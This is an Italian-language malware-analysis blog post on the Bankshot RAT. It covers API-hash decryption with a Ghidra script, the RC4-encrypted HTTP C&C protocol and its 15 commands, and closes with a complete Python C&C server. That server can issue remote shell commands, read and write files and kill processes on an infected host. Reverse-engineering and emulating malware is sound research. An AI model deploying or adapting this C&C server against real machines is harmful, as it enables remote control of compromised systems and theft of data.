Realizziamo un HTTP C&C in Python (Bankshot)

Realizziamo un HTTP C&C in Python (Bankshot)

Introduzione

Ciao a tutti! Oggi vedremo l’analisi di Bankshot (conosciuto anche come CopperHedge); Bankshot è un RAT semplice che implementa 15 comandi, scritto in C++ e utilizza RC4 per effettuare parzialmente API Hashing e per cifrare/decifrare la comunicazione il C&C; il config è presente in chiaro.

Bankshot is a remote access tool (RAT) that was first reported by the Department of Homeland Security in December of 2017. In 2018, Lazarus Group used the Bankshot implant in attacks against the Turkish financial sector. 

Per maggiori dettagli si può visionare il report del CISA dove sono presenti le 6 varianti e la collection di Virustotal. Altri riferimenti utili: IOC di ESET e correlazione tra i sample di Reversing Lab.

In particolare oggi analizzeremo un sample della Variante B, MD5: 667cf9e8ec1dac7812f92bd77af702a1 che può essere ottenuto qui o qui. Partiamo!

Introduzione

Come sempre utilizziamo alcuni tool per velocizzare le successive analisi:

Esecuzione di capa

Questa volta, a differenza di Danabot, è molto più semplice ottenere il config in quanto i tre server C&C sono presenti in chiaro:

URL memorizzati in chiaro

Con queste informazioni aggiuntive proseguiamo con l’analisi; il malware avvia immediatamente un Thread:

Main che avvia il Thread principale

Il Thread inizia risolvendo le diverse API dinamicamente. In particolare, l’algoritmo utilizzato per l’API Hashing è RC4. All’inizio di ogni funzione che vedremo successivamente avremo la risoluzione dell’API attraverso questa funzione.

Operazioni effettuate dal Thread Principale
Funzione di API Hashing con RC4

Continuiamo effettuando la decifratura delle API con un semplice script Python utilizzando le API Ghidra; il funzionamento è il seguente:

  • Si ottengono tutte le chiamate alla funzione che si occupa di effettuare API Hashing (in questo caso è rinominata in ApiHashingViaRC4) tramite getReferencesTo().
  • Ottengo le istruzioni precedenti fino a trovare MOV EDX, indirizzoNomeFunzioneCifrata tramite getInstructionBefore().
  • Il primo byte contenuto in questo indirizzo contiene la lunghezza della stringa cifrata e poi la stringa cifrata; con getBytes(addrEncrypted, 1)[0] ottengo il primo byte; ottengo quindi il byte array (nome funzione cifrata) partendo dall’indirizzo contenuto in EDX + 1 (addrEncrypted.add(1)) essendo che il primo byte contiene la lunghezza e da questo indirizzo leggo la lunghezza che ho ottenuto in precedenza.
  • Effettuo la decifratura tramite RC4 della stringa cifrata ottenuta.
def rc4Decrypt(key, data):
    S = list(range(256))
    j = 0

    for i in list(range(256)):
        j = (j + S[i] + ord(key[i % len(key)])) % 256
        S[i], S[j] = S[j], S[i]

    j = 0
    y = 0
    out = []

    for char in data:
        j = (j + 1) % 256
        y = (y + S[j]) % 256
        S[j], S[y] = S[y], S[j]

        out.append(unichr(ord(char) ^ S[(S[j] + S[y]) % 256]))

    return ''.join(out)
    

def main():
   
    key = '78292e4c5da3b5d067f081b736e5d593'.decode('hex')
    
    for ref in getReferencesTo(toAddr("ApiHashingViaRC4")):

        fromAddr = ref.getFromAddress()
        
        while True:
        
            instr = getInstructionBefore(fromAddr)
     
            if instr.getMnemonicString().lower() == 'mov' and instr.getOpObjects(0)[0].toString().lower() == 'edx':
                    addrEncrypted = toAddr(instr.getOpObjects(1)[0].getValue())
                    print("Indirizzo API cifrata: " + str(addrEncrypted))
                    encryptedName =  str(bytearray(getBytes(addrEncrypted.add(1), getBytes(addrEncrypted, 1)[0])))
                    print("0x" + str(instr.getAddress()) + "  " + rc4Decrypt(key, encryptedName))
                    break          
                    
            fromAddr = instr.getAddress()

if __name__ == '__main__':
    main()
Esecuzione dello script

Curioso come non tutte le API sono offuscate, ad esempio quelle riguardanti la comunicazione HTTP:

Funzioni non offuscate per la comunicazione HTTP

Dopo aver effettuato la risoluzione delle API, avviene la creazione del CONFIG che viene salvato in una variabile globale; in questo config vengono salvati i 3 URL insieme a un valore casuale compreso tra 65535 e 16777215:

Funzione Config Builder

Successivamente vengono chiamate le diverse funzioni che si occupano di comunicare con il C&C; vediamo ora come è possibile sfruttare le informazioni presenti su any.run per velocizzare l’analisi successiva.

Analisi Dinamica

Su any.run sono presenti diversi sample che ci permettono di avere una prima Overview di come avviene la comunicazione con il server C&C:

Sample 1: invio del primo pacchetto
Sample 2: invio del primo pacchetto
Sample 3: invio del primo pacchetto

Le risposte a questa richiesta sono tutte dei redirect essendo il C&C offline in quel determinato momento; cercando altri sample però abbiamo una richiesta che questa volta fornisce una risposta e ci fornisce nuovi dettagli sul protocollo challenge-response, possiamo vedere infatti che il C&C risponde solo con il board_id (in questo caso 1838):

Sample 4: invio del primo pacchetto
Sample 4: risposta al primo pacchetto che ritorna uno dei parametri inviati (board_id)

Da queste diversi sample possiamo iniziare ed effettuare delle supposizioni su come funziona il protocollo di comunicazione, che verranno poi approfondite con le successive analisi:

  • board_id: numero differente tra le diverse richieste, potrebbe essere l’ID della richiesta
  • user_id: conviso tra le varie richieste, potrebbe essere un valore di autenticazione
  • file1: nome di file differente tra le diverse richieste, che non corrisponde a un file presente sulla macchina any.run; potrebbe essere utilizzato per cambiare la signature di ogni richiesta

Continuiamo ora con l’analisi per confermare/smentire le prime supposizioni. Essendo un malware scritto in C++, approfondiamo ora la classe WebPacket che si occupa di comunicare con il C&C.

Classe WebPacket

Il malware presenta una classe di nome WebPacket che si occupa di inizializzare l’oggetto (dimensione 3872 byte) con diversi attributi riguardi la comunicazione e dispone di diverse funzioni che si occupano di comunicare con il C&C.

Classe WebPacket
Costruttore classe WebPacket

Come possiamo vedere dal costruttore, i primi 4 byte contengono il puntatore alla vftable e dopo abbiamo la zona di memoria che contiene i membri dell’oggetto. Per ulteriori info su come effettuare reverse di programmi C++: QUI, QUI e QUI.

Struttura di un oggetto C++ in memoria (Fonte: Gal Zaban)

I membri principali presenti in questa classe sono:

HINTERNET hSession;
HINTERNET hInternet;
HINTERNET hRequest;
String URL;
String Path;
int port;
....
char substitutionBox1[256]
char substitutionBox2[256]
int keyLength;
int rc4Key[4];

La vtable invece contiene solo una funzione che viene chiamata al termine per effettuare il reset delle variabili e chiamare la funzione WinHttpCloseHandle:

vftable che contiene il puntatore alla funzione FreeAndCloseHandle

Queste info vengono estratte da Ghidra da diverse strutture presenti nei programmi C++:

Struct che ci fornisce info sulla classe e il puntatore alla VFTable
Struct che contiene informazioni sull’ereditarietà della classe

Dopo aver fatto una piccola degressione su C++, passiamo al funzionamento; questa classe si occupa di inviare il primo pacchetto di autenticazione, con board_id casuale (minore di 10000), user_id uguale a *dJU!JE&!M@UNQ@ e filename casuale scelto tra happy.pdf, star.avi, hp01.avi, dream.avi, example.dat, pratice.pdf, my.doc e img01_29.jpg.

Generazione del valore casuale (board_id) e invio del pacchetto di autenticazione

Successivamente viene ricevuta la risposta e viene confrontato il valore casuale generato (board_id) con quello ricevuto; questo conferma la supposizione che avevamo fatto precedentemente tramite analisi dinamica.

Controllo dell’autenticazione attraverso il campo board_id

Vediamo ora quali metodi esporta questa classe che permettono di effettuare delle operazioni C&C; per tracciare quali sono i metodi di questa classe sfruttiamo il registro ECX che contiene l’indirizzo a questa classe appena definita.

Copia del puntatore che contiene l’indirizzo della classe WebPacket

Da queste informazioni riusciamo ad ottenere i seguenti metodi:

  • C&CSendRequest: invia la richiesta di tipo POST al C&C attraverso WinHttpSendRequest; esegue la funzione C&CConnectAndOpenRequest.
  • C&CConnectAndOpenRequest: si occupa di chiamare le funzioni WinHttpOpen, WinHttpConnect, WinHttpOpenRequest.
  • C&CReceiveAndDecryptDataRC4: si occupa di ottenere i dati con WinHttpReceiveResponse, WinHttpReadData e opzionalmente decifrarli con RC4.
  • C&CEncryptCodeResult: effettua l’encryption tramite RC4 dello status code (0x1836, 0x1837, ecc) ed esegue WinHttpWriteData con input i dati cifrati.
  • C&CEncryptCommandResult: effettua l’encryption tramite RC4 del risultato del comando eseguito ed esegue WinHttpWriteData con input i dati cifrati.
  • C&CSendRequestAndExecuteCommand: si occupa di inviare il command packet, ricevere ulteriori dati, eseguire il comando e ritornare il risultato al C&C.

Per capire bene le successive analisi è necessario conoscere le WinHTTP API; per chi non conoscesse il flow può approfondirlo tramite degli esempi presenti qui o qui.

Communication Flow con il C&C

Cifratura RC4

L’algoritmo di cifratura RC4 viene utilizzato come visto in precedenza per l’API hashing ma anche per la comunicazione con il C&C. In particolare si hanno tre SBox che vengono utilizzate per la cifratura, una per l’API hashing e due per la comunicazione C&C (una per la ricezione dei dati e una per l’invio).

Essendo che la funzione PRGA utilizza l’SBox come input per generare il valore random successivo per poi effettuare la cifratura/decifratura, è necessario avere due dichiarazioni differenti quando realizzeremo il server C&C.

Un’altra differenza è che la funzione riguardante l’API Hashing è una funzione locale, mentre quelle riguardanti la comunicazione fanno parte della classe WebPacket e utilizzano le SBox e la chiave salvate all’interno di questa classe.

Le due fasi KSA con due SBox per la comunicazione C&C

Funzione C&CSendRequest

La funzione C&CSendRequest dopo aver effettuato la risoluzione delle API si occupa:

  • Chiamare la funzione C&CConnectAndOpenRequest.
  • Costruire l’header della richiesta HTTP.
  • Costruire il body della richiesta HTTP.
  • Inviare la richiesta attraverso WinHttpSendRequest.

La richiesta POST ha questa forma:

POST /URI HTTP/1.1
Cache-Control: max-age=0
Connection: keep-alive
Accept: */*
Content-Type: multipart/form-data; boundary=----FormBoundaryCaratteri casuali

User-Agent: Ottenuto da ObtainUserAgentString o Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Content-Length: Lunghezza
Host: Dominio

------FormBoundaryCaratteri casuali
Content-Disposition: form-data; name="board_id"
Casuale

------FormBoundaryCaratteri casuali
Content-Disposition: form-data; name="user_id"
*dJU!*JE&!M@UNQ@ se autentication packet altrimenti vuoto se è command packet

------FormBoundaryCaratteri casuali
Content-Disposition: form-data; name="file1"; filename=Casuale tra happy.pdf, star.avi, hp01.avi, dream.avi, example.dat, pratice.pdf, my.doc e img01_29.jpg.
Content-Type: application/octet-stream
....
I riferimenti al body non sono cifrati
Funzioni che utilizzato i riferimenti alle stringhe del body
Function Graph C&CSendRequest
Aggiunta dei diversi header attraverso WinHttpAddRequestHeaders

Il pacchetto di autenticazione viene differenziato da quello per la richiesta dei comandi attraverso il board_id, che è minore di 10000 se si tratta del primo caso, maggiore nel secondo; oltre a questo il secondo tipo di pacchetto non contiene user_id con la stringa *dJU!*JE&!M@UNQ@.

Aggiunta di 10000 se il pacchetto è per la richiesta di un comando
Aggiunta di user_id con dJU!*JE&!M@UNQ@ se il pacchetto non è di autenticazione

Al termine della costruzione del pacchetto HTTP viene inviato tentando l’invio tre volte con uno sleep di 300 millisecondi tra un invio e l’altro:

Funzione C&CConnectAndOpenRequest

Questa funzione viene chiamata immediatamente dalla funzione C&CSendRequest e si occupa di:

  • Ottenere l’user agent corrente tramite ObtainUserAgentString
  • Ottenere le configurazioni proxy correnti tramite WinHttpGetIEProxyConfigForCurrentUser
  • Chiamare la funzione WinHttpOpen, WinHttpConnect, WinHttpOpenHttp.

Nella conversione dell’User Agent si utilizza due volte MultiByteToWideChar; questo avviene spesso con l’utilizzo di determinate API Windows, come si può vedere dall’esempio sotto, per ottenere prima la dimensione del buffer da ricevere (in questo caso UserAgent) per poi richiamare MultiByteToWideChar con il valore di size corretto.

Utilizzo di MultiByteToWideChar per la conversione dell’User Agent
Esempio di utilizzo di ObtainUserAgentString e MultiByteToWideChar (Source: cpp.hotexamples.com)

Funzione C&CReceiveAndDecryptDataRC4

Dopo aver inviato la richiesta con C&CSendRequest questa funzione si occupa di:

  • Ricevere i dati tramite WinHttpReceiveResponse e WinHttpReadData
  • Decifrare i dati con RC4

È presente una flag come parametro che stabilisce se i dati devono essere decifrati:

Funzioni C&CEncryptCodeResult e C&CEncryptCommandResult

Queste due funzioni si occupano di effettuare la cifratura RC4 dei dati in input e aggiungerli alla richiesta HTTP tramite WinHttpWriteData:

  • C&CEncryptedCodeResult: si occupa di cifrare il result code (0x1836, 0x1837, 0x1838, 0x1839) del comando eseguito.
  • C&CEncryptCommandResult: si occupa di cifrare la risposta del comando eseguito.

Come si può evidenziare dal Call Graph, ci sono funzioni che ritornano solo il result code (es. KeepAlive, TerminateProcessByPID), altre che ritornano solo il risultato del comando (es. GetSystemInfo, GetDriverinfo) e altri comandi più complessi (es. WriteFile) che ritornano entrambi.

Call Graph delle due funzioni
Cifratura del buffer in input e scrittura dei dati cifrati tramite WinHttpWriteData

Funzione C&CSendRequestAndExecuteCommand

Infine dopo aver ricevuto la richiesta e averla decifrata, viene eseguita l’operazione in base al codice del comando specificato.

(OBBLIGATORIO) 4 BYTE numero comando
(OBBLIGATORIO) 2 BYTE lunghezza parametro opzionale
(OPZIONALE) 4 BYTE parametro opzionale
Struttura del comand packet

Altri comandi invece richiedono l’invio di altri dati, ad esempio la funzione WriteFile o DownloadAndMapFile; per ulteriori info vedere lo script Python per la realizzazione del C&C.

Vengono ricevuti i primi 6 Byte e se gli ultimi 2 byte sono diversi da zero, si richiama la funzione per ricevere i dati restanti di dimensione variabile.

Ricezione e decifratura dei comandi e dei parametri opzionali
Switch per l’esecuzione del comando ricevuto

Abbiamo anche dei result code che vengono inviati come risultato di alcuni comandi:

  • 0x1836: esecuzione avvenuta con successo (es. comando KeepAlive, processo creato con successo)
  • 0x1837: errore nell’esecuzione del comando (es. file da leggere non esistente)
  • 0x1838: invio metadati di un file/directory o scrittura avvenuta correttamente (es. prima risposta a WriteFile o ReadFile)
  • 0x1839: termine esecuzione comando (es. ultima risposta a WriteFile)

Il RAT supporta 15 comandi:

NUMERO COMANDOFUNZIONE
0x1827GetSystemInfo
0x1828GetDriverInfo
0x1829SetConfig
0x182AGetConfig
0x182BKeepAlive
0x182CWriteFile
0x182DReadFile
0x182ECreateProcessByName
0x182FExecuteCMD
0x1830GetMetadataFile
0x1831GetProcessList
0x1832TerminateProcessByPID
0x1834Disconnect
0x1835DeleteTempFile
0x183CDownloadAndMapFile
Funzionalità del RAT

Per implementare correttamente il server C&C è necessario capire anche quali funzioni rimangono in attesa di ricevere ulteriori dati per essere eseguite correttamente; questo può essere velocemente rilevato con la funzione Function Call Graph di Ghidra:

Funzione che richiede ulteriori dati per essere eseguita correttamente

Implementazione Server C&C

Implementiamo ora un server HTTP, che risponde ad alcuni dei comandi ricevuti dal malware; si lascia come compito al lettore di implementare i restanti tre comandi e gli error code non gestiti 🙂

Importante ricordarsi che è necessario avere due cipher per la cifratura e decifratura dei dati; inoltre alcuni comandi non richiedono ulteriori interazioni con il C&C, mentre alti richiedono l’interazione con l’operatore che deve inserire ulteriori dati (es. nome del processo da creare).

#!/usr/bin/env python3

import sys, struct, cgi, Crypto.Cipher.ARC4, time, hexdump
from http.server import BaseHTTPRequestHandler, HTTPServer

# Dominio e porta dove il server deve essere in ascolto
DOMAIN = '0.0.0.0'
PORT = 80

class httpHandler(BaseHTTPRequestHandler):
    
    key = bytes.fromhex('271a16ab6d7a900ef3fa677dce8ab268')
    rc4Receive = Crypto.Cipher.ARC4.new(key)
    rc4Send = Crypto.Cipher.ARC4.new(key)
    lastCommand = None
   
    def unpack10(x):
        x1, x2, x3, x4  = struct.unpack('<HIHH', x)
        return x1, x2, x3 | (x4 << 16)
    
    def unpack16(x):
        x1, x2, x3, x4, x5  = struct.unpack('<IHIIH', x)
        return x1, x2, x3, x4 | (x5 << 16)
        

    def sendCommand(): 
        cmdOpt1 = 0
        commandToExecute = input('[C&C - INTERACT] Enter the command to be sent: ')
        
        global lastCommand
            
        print("[C&C - SEND] Send command to execute")       
        cmdCode = struct.pack('<I', int(commandToExecute, 16))
        lastCommand = None
        
        # Comandi senza parametri opzionali
        if commandToExecute == "0x182a" or commandToExecute == "0x182b" or commandToExecute == "0x1831" or commandToExecute == '0x1828' or commandToExecute == '0x1827' or commandToExecute == '0x1835':
            lastCommand = cmdCode
            cmdArg = b''        

        # Eseguire processo by process name
        # Input: process name
        # Output: error code
        if commandToExecute == "0x182e":
            lastCommand = 0x182e
            cmdArg = input('[C&C - INTERACT] Enter process to create (e.g., calc.exe): ').encode()

        # Terminare processo by PID
        # Input: PID processo
        # Output: error code
        if commandToExecute == "0x1832":
            cmdArg = input('[C&C - INTERACT] Enter PID to Kill (e.g., 3163): ').encode()
   
        # Eseguire comando tramite cmd.exe e salva il risultato in temp
        # Input: comando da eseguire nel cmd
        # Output: risultato salvato in file temp
        if commandToExecute == "0x182f":
            lastCommand = 0x182f
            cmdArg = input('[C&C - INTERACT] Enter command to execute (e.g., whoami): ').encode()
            
        # Get file or directory metadata
        # Input: nome file o directory
        # Output: metadati
        if commandToExecute == "0x1830":
            lastCommand = 0x1830
            cmdArg = input('[C&C - INTERACT] Enter file to get stats: ').encode()
                        
        # Read File
        # Input: file to read
        # Output: error code e file content
        if commandToExecute == "0x182d":
            lastCommand = 0x182d
            cmdArg = input('[C&C - INTERACT] Enter file to read: ').encode()
 
        # Write File
        # Input: file da scrivere
        # Output: risultato codice
        if commandToExecute == "0x182c":
            lastCommand = 0x182c
            cmdArg = input('[C&C - INTERACT] Enter file to write: ').encode()
            cmdOpt1 = struct.pack('<I', int(input('[C&C - INTERACT] Enter types of operation (> bytes of file, write): ')))
            pass

        # Set Config
        if commandToExecute == "0x1829":
            # TODO: implementare set config
            pass
            
            
        # Download e eseguire file
        if commandToExecute == "0x183c":
            # TODO: implementare download and execute file
            pass
                
        cmdLen = struct.pack('<H', len(cmdArg)) 
        cmd = cmdCode + cmdLen + cmdArg
        
        if cmdOpt1 != 0:
            cmd = cmd + cmdOpt1
        
        return cmd
        

    def do_POST(self):
    
        bType, bDict = cgi.parse_header(self.headers['Content-Type']) 
        bDict['boundary'] = bytes(bDict['boundary'], 'utf-8')
        fields = cgi.parse_multipart(self.rfile, bDict)

        # Authentication Packet (1 FASE)
        if "user_id" in fields:
            buffer = fields['board_id'][0].encode()
            print('[C&C - RECEIVE] New Authentication Packet')
            print("[C&C - SEND] Sending authentication response")
            
        # Command Packet (2 FASE)
        elif int(fields['board_id'][0]) > 10000:
            print('[C&C - RECEIVE] Command Package')
            cmd = self.__class__.sendCommand()
            buffer = self.__class__.rc4Send.encrypt(cmd)
            
        # Risultato Command Packet (3 FASE)
        else:
            print('[C&C - RECEIVE] CMD Execution Result')
            
            cmdResponse = self.__class__.rc4Receive.decrypt(fields['file1'][0])
            hexdump.hexdump(cmdResponse)
            
            global lastCommand
            
            if(lastCommand == 0x182d):
                if(len(cmdResponse) == 10):
                    result, blank, size = self.__class__.unpack10(cmdResponse)
                    print("[C&C - RECEIVE] File size: " + str(size))
                    cmdCode = struct.pack('<I', 0x0000)
                    buffer = self.__class__.rc4Send.encrypt(cmdCode)
                else:
                    lastCommand = None
                    cmdCode = struct.pack('<IH', 0x1838, 0x00)
                    buffer = self.__class__.rc4Send.encrypt(cmdCode)
                    
            elif(lastCommand == 0x182c):
                if(len(cmdResponse) == 16):
                    lastCommand = None
                    result, blank, size, result2 = self.__class__.unpack16(cmdResponse)
                    print("[C&C - RECEIVE] File size: " + str(size))    
                    
                    toWrite = input('[C&C - INTERACT] Enter data to write: ').encode()

                    lenWrite = struct.pack('<I', len(toWrite))
                    
                    cmdCode = lenWrite + lenWrite + toWrite

                    buffer = self.__class__.rc4Send.encrypt(cmdCode)
          
            else:
                cmd = self.__class__.sendCommand()
                buffer = self.__class__.rc4Send.encrypt(cmd)
 

        self.send_response(200)
        if buffer != None:
            self.setHeader(buffer)
            self.wfile.write(buffer) 
      
            
    def setHeader(self, header = None):
        self.send_header('Amazon', 'text/html')
        self.send_header('Content-type', 'text/html')
        self.send_header('Content-Length', header.__len__())
        self.end_headers()
           
           
def main():

    httpServer = HTTPServer((DOMAIN, PORT), httpHandler)
    print('[C&C - INFO] HTTP SERVER STARTED')
    
    try:
        httpServer.serve_forever()
    except Exception:
        print('[C&C - INFO] Error! Server Closed')


if __name__ == '__main__':
    main()

Share this content:

Lascia un commento

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *